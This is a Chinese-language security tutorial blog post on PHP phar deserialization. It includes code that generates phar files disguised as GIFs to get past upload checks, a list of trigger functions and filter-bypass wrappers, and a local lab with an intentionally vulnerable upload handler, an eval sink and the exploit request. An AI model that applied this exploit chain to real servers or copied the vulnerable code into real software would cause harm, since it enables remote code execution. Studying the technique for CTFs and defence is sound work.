Hed9eh0g

前进的路上总是孤独的

phar反序列化

本文共计有5007个字

前言

phar反序列化问题自去年BlackHat大会上被分享之后就成为ctf热门考点,见原文。它的主要内容是,通过phar://协议对一个phar文件进行文件操作,如file_get_contents,就可以触发反序列化,从而达成RCE(远程代码执行)的效果。

phar://

大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://。
例如常见的:

include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');

phar://也是流包装的一种。

phar

定义

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

《phar反序列化》

phar文件的结构

包含以下几个部分:

1.  stub:
     phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2.  manifest:
     phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3.  content:
     被压缩文件的内容
4.  signature (可空):
     签名,放在末尾。

生成一个phar文件

php内置了一个phar类来处理相关操作。

注意:这里要将php.ini里面的phar.readonly选项设置为Off。并把分号去掉。

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='Hed9eh0g';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

以上的一些代码就是生成phar文件的一些程序化的代码,是不能被省略的。

运行这个代码后,会在当前目录下生成一个phar.phar:

《phar反序列化》

查看文件的16进制:

《phar反序列化》

可以明显的看到meta-data是以序列化的形式存储的。

将phar伪造成其他格式的文件

在刚才分析phar的文件结构时你可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'hu3sky';
    $phar -> setMetadata($object);  //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>

伪装之后的文件可以被理解为是一个仍然能够实现phar反序列化的gif文件,这样可以绕过文件上传到服务器时的检测。

反序列化触发函数

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

《phar反序列化》

但实际并不止这一些。

参考文章:https://blog.zsxsoft.com/post/38

在跟踪了受影响函数的调用情况后发现,除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper。都可能触发phar反序列化漏洞。

以下这些方式都可触发phar反序列化漏洞:

exif

exif_thumbnail
exif_imagetype

gd

imageloadfont
imagecreatefrom***

hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

file / url

get_meta_tags
get_headers

standard

getimagesize
getimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

配合其他协议

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
php://filter/resource=phar://phar.phar

Postgres

<?php
    $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
    @$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>

pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。

前提条件

利用phar文件实现反序列化是有条件的,它包括:

  • phar文件要能够上传到服务器端
  • 要有可用的魔术方法作为“跳板”
  • 存在如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

一个简单例子

我们在前面所生成的phar.phar文件的基础上,使用phar://协议解压该文件使其触发反序列化,这里我用到的文件操作函数是include:

testphar.phar:

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

反序列化成功实现:

《phar反序列化》

 漏洞验证

 环境准备

上传文件的html页面:upload_file.html

后端文件检测页面:upload_file.php

存在漏洞利用的页面:file_un.php (存在file_exists()文件函数,并且存在__destruct()魔术方法)

一个上传目录: upload_file/

upload_file.php:

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

upload_file.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>phar bypass test</title>
</head>
<body>
<form action="http://127.0.0.1/phar/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

file_un.php:

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

思路

根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a进行伪装,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码。

构造代码

eval.php:

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif

接着上传,文件会上传到upload_file目录下

《phar反序列化》

然后利用file_un.php,payload:

127.0.0.1/phar/file_un.php?filename=phar://upload_file/phar.gif

《phar反序列化》

配合PHP内核哈希表碰撞攻击

参考:https://xz.aliyun.com/t/2613

参考文章

https://xz.aliyun.com/t/6454

https://xz.aliyun.com/t/2715

点赞
  1. visitor说道:

    好,学习了。师傅tql

发表评论

电子邮件地址不会被公开。 必填项已用*标注